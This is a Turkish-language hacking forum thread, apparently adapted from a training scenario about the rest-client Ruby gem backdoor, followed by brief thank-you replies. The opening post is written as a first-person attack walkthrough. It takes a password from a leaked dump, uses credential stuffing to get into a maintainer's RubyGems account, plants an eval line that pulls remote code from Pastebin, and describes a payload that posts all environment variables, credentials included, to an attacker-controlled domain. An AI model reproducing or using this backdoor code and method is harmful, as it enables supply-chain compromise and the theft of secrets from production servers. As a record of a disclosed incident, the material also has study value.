Hoşgeldin Sivil

.
Forum Yöneticisi: Administrator | Bu Bölümde Yetkili Tüm Yöneticiler? | Bu konuyu okuyanlar?

 Forum Ana Sayfa
   Web Güvenlik Açıkları

   
 Kurallar    Aktif Konular    PM    Kayıt Ol     Giriş Yap  
» OWASP TOP 10 | Ruby rest-client Backdoor
 Konu Kalitesi %10
Oy Ver   
 
Gönderilme Tarihi: 05 Mayıs 2022 13:05:27 - Kayıtlı IP
  Mesajı İhbar Et!     

s27anonym
0x27 | Akıncı

Yüzbaşı

İstanbul
20 Mart 2022
27 Mesaj

Durum: Urfalıyam


Aktiflik
Seviye
Deneyim



  • WEB | OWASP TOP 10 | Ruby rest-client Backdoor
  • WEB | OWASP TOP 10 | Ruby rest-client Backdoor


  • Ruby için rest-client gem'de bildirilen kod yürütme backdoor ayrıntılarını verir.

    Jussi Koljonen tarafından yayınlanan ayrıntılara göre, rest-client'ta bilinmeyen bir tehdit aktörü tarafından bir backdoor tanıtıldı (sürüm 1.6.13)



  • Tanınmış bir ISP'ye yönelik yakın tarihli bir siber saldırının ardından, bir grup bilgisayar korsanı, bir metin paylaşım sitesi olan Pastebin'de güvenliği ihlal edilmiş kullanıcı verilerinin (kimlik bilgileri dahil) örneklerini yayınladı.

    Pastebin gibi "yapıştır" sitelerini düzenli olarak izleyip parola dökümlerini, sızdırılmış kredi kartı verilerini ve diğer hassas bilgileri aramaya başlayalım.



  • Parola dökümünü inceleyelim ve tanınmış bir yazılım şirketinin e-posta domainini tanımlayalım:

    thoushaltnotreusepasswords:andrewmanning@softdev.io Andrew Manning

    Google'ı kullanarak hızlı bir OSINT araması yapalım ve tanınmış bir yazılım geliştiricisi Andrew Manning'e ait e-posta adresini tanımlayalım.


    OSINT nedir?
    Açık Kaynak İstihbaratı (OSINT), bir kişi veya kuruluş hakkında kamudan veya açık kaynaklardan toplanan bilgilerin toplanması ve analizidir.



  • diğer Google aramaları, Andrew'un popüler bir Ruby Gem dinlenme istemcisi için aktif bir katkıda bulunduğunu ortaya koyuyor.

    Andrew'un RubyGems.org hesabına bir kimlik bilgisi doldurma saldırısı girişiminde bulunalım ve Andrew'un çalınan kimlik bilgileriyle kalan istemci kod deposuna erişmeyi başarırız.


    Kimlik Doldurma nedir?
    Kimlik bilgisi doldurma, bir hizmetteki veri ihlalinden elde edilen kimlik bilgilerinin, alakasız başka bir hizmette oturum açmaya çalışmak için kullanıldığı bir tekniktir.



  • 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"}
    request.rb, Gördüğünüz üzere zararsız kod satırı ekleyerek dosyayı değiştirdik.




  • Bir kripto aracı kurumu CoinPay için çalışan bir geliştirici olan Alice Bir QA ekibini yönetiyor ve CoinPay platformunu dağıtmak ve test etmekten sorumlu.

    Alice olarak ls -al komutunu vererek CoinPay'ın proje dizinine göz atalım

    GemFile
    Proje dizin yapısına bakıldığında CoinPay platformunun Ruby on Rails web çerçevesi kullanılarak geliştirildiği görülüyor.


  • gem 'rest-client'
    Gemfile'den geçerken, Alice'in projesinin Ruby için bir and client sunan rest-client gem'i kullandığını görebiliriz. HTTP REST

    Reuters
    Yorumdan, geri kalan istemci kitaplığının Alice'in projesinde üçüncü taraf json-rpc uç noktalarından gelen verilere erişmek için kullanıldığı görülüyor.

    source 'http://rubygems.org'
    Alice CoinPay projesini oluşturduğunda, kalan istemci mücevherinin, arka kapılı dinlenme istemci kodunu barındıran rubygems.org gem kaynağından indireceğiz.


  • proje ortam dosyası .production.env'ye bir göz atalım.

    ortam dosyası nedir?
    Bir yazılım projesi bağlamında, bir ortam dosyası aşağıdakiler gibi projeye özel değişkenler içerir:

    Veritabanı sunucuları, Amazon S3 API, SMTP kimlik bilgileri vb. gibi harici hizmetlere ilişkin kimlik bilgileri;

    Veritabanı, Memcached ve diğer yedekleme hizmetlerine yönelik kaynak tanıtıcıları;

    Kurallı ana bilgisayar adı gibi dağıtım başına değerler.


  • Daha önce rest-client Ruby gem'i değiştirmiştik mironanoru.zzz.com.ua alan adını kaydedip ve yeni kayıtlı alan adına işaret eden bir sunucu yapılandıralım.

    Daha sonra Apache web sunucusunu kurup ve bu sunucuyu ayrıntılı günlük kaydını etkinleştirecek şekilde yapılandırarak mironanoru.zzz.com.ua'ya yapılan her HTTP isteği için ayrıntılı günlük olaylarını görüntülemesine olanak tanır.

    Aşağıdaki komutu terminalimize yazarak erişim günlük dosyasını izleyebiliriz.
    tail -f /www/access.log



  • Alice projesinin en son yapısını aşağıdaki üretim sunucusuna dağıtır:



  • Alice, yeni dağıtılan CoinPay projesine başarıyla eriştikten sonra apache web sunucumuzda POST aynı anda bir günlük olayı kaydedilir.

    İsteği analiz etmek için apache günlük dosyasını inceleyelim. POST

    POST / HTTP/1.1
    Alice yeni dağıtılan projeyi tarayıcısına yükledikten sonra, POST günlük dosyamız bir istek olayı kaydeder



    İsteğin gövdesi, Alice'in hazırlama sunucusu URL'si ile atanan POST bir parametre içerir. x

    İkinci bir parametre y iletilir; içerik dizesinin belli belirsiz tanıdık geldiğine dikkat edin.

    Daha yakından incelendiğinde, parametrenin, hassas API anahtarları ve veritabanı kimlik bilgileri dahil olmak üzere Coinpay'in tüm uygulama ortamı değişkenlerini y içerdiği görülüyor!



  • backdoor daha iyi anlamak için, önceden değiştirdiğimiz request.rb proje dosyasını analiz ederek başlayalım.

    _!{Thread.new{loop{_!{sleep 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"}
    Rails.env[0]=="p" Kod bloğu, önceki kod bloğunun yalnızca bir proje üretim modunda çalışırken çalıştırıldığından emin olmak için yapılan kontrolle başlar.

    Thread.new
    Ardından, ardışık ve çağrılan G/Ç tipi bir istek Thread.new olduğundan, gözle görülür bir performans etkisi olasılığını en aza indirmek için aracılığıyla yeni bir iş parçacığı oluşturulur. loop eval

    900
    Kod daha sonra her 15 dakikada bir çalışacak bir döngü başlatır.

    900;eval(open('https://pastebin.com/raw/5iNdELNX')
    Son olarak, 15 dakika geçtikten sonra kod open, içeriği eval Ruby kodu olarak değerlendirilmek üzere geçirilen bir PasteBin URL'sini çağırır.

    rescue Exception
    Zararsız boş istisna işleyicisinin, arka kapının ortaya çıkarabileceği hataları sessizce görmezden geldiği bildirildiğini unutmayın.


  • Pastebin "paste", üç istisna işleyici bildiren Ruby kodunu içerir. Kodu kod düzenleyicimize yükleyerek bu dosyayı analiz edelim.


  • Özel durum işleyicisini, özellikle de tarafımızdan Alice'in ortam verilerine erişmek için kullanılanı daha fazla analiz edelim.

    Faraday.post
    Backdoor, Ruby Faraday gem'i (bir HTTP istemci kitaplığı) kullanır ve istek Faraday.post yapmak için kullanılan yöntemi çağırır. POST

    { "x" => ENV["URL_HOST"]
    Yöntem iki parametre ve Faraday.post mironanoru.zzz.com.ua için. İlk parametreye, arka kapının yürütülmekte olduğu sunucu ana bilgisayar adını içeren ortam değişkeni atanır. POST's x y x URL_HOST

    "y" => ENV.to_hash.to_yaml })
    İkinci parametreye y, hassas API anahtarları ve kimlik bilgileri içerebilen uygulamalar ortam değişkeninin serileştirilmiş bir kopyası atanır.

    POST
    Son olarak, bu verilere kontrol edilen mironanoru.zzz.com.ua'ya post() çağrılır. POST




___________________________________________
Cyber-Warrior TIM
          
  Lojistik Destek ,    
 
 
Gönderilme Tarihi: 11 Mayıs 2022 08:39:33 - Kayıtlı IP
  Mesajı İhbar Et!     

s27anonym
0x27 | Akıncı

Yüzbaşı

İstanbul
20 Mart 2022
27 Mesaj

Durum: Urfalıyam


Aktiflik
Seviye
Deneyim



Güncel //


___________________________________________
Cyber-Warrior TIM
          
  Lojistik Destek ,    
 
 
Gönderilme Tarihi: 11 Mayıs 2022 18:05:31 - Kayıtlı IP
  Mesajı İhbar Et!     

HAYALET

Albay

03 Ocak 2022
260 Mesaj

Durum: Beyaz Ve Sen


Aktiflik
Seviye
Deneyim
Moderatör

Görev Org./Grup :

Sosyal Medya


Lojistik


Eline sağlık kardeşim


___________________________________________
Oraleti sevmemiz portakala olan düşkünlüğümüzden değil biz ezilenin yanındayız.
       
     
 
 
Gönderilme Tarihi: 13 Mayıs 2022 21:23:48 - Kayıtlı IP
  Mesajı İhbar Et!     

Medsa

Binbaşı

18 Ocak 2022
0 Mesaj




Aktiflik
Seviye
Deneyim
Fahri Yönetici


eline sağlık


___________________________________________
❄️
       
     
 
 
Gönderilme Tarihi: 13 Mayıs 2022 22:21:50 - Kayıtlı IP
  Mesajı İhbar Et!     

s27anonym
0x27 | Akıncı

Yüzbaşı

İstanbul
20 Mart 2022
27 Mesaj

Durum: Urfalıyam


Aktiflik
Seviye
Deneyim



Güzel yorumlarınız için teşekkür ederim.


___________________________________________
Cyber-Warrior TIM
          
  Lojistik Destek ,    
 
 
Gönderilme Tarihi: 13 Mayıs 2022 22:51:24 - Kayıtlı IP
  Mesajı İhbar Et!     

Aleph

General

14 Aralık 2021
151 Mesaj




Aktiflik
Seviye
Deneyim
Member Manager

Görev Org./Grup :

Sosyal Medya

Uzmanlık Alanları:
SMM

eline sağlık


___________________________________________
Sabır ver, asil asker hainlere göğüs ger.
       
  Yöneteam , Yeni Üyeler TIM (TIM LiDERi) ,    
 
 
Git:
  Arkadaşına yolla

Sayfa Yüklenme Süresi: 0.0932


 

İçerik Yöneticisi : AKTIF / Veriler Aktarıldı...
IP Adresiniz : 18.97.14.80 Güvenlik Nedeniyle Kayıt Altındadır.



Uzun yoldan geldik, uzun yola devam...

   


Reklam vermek için tıklayın

Forum Kuralları | Üye Olmak İçin | CyberAkademi | Operasyonel TİM'ler
CYBERAKADEMI ~ 2021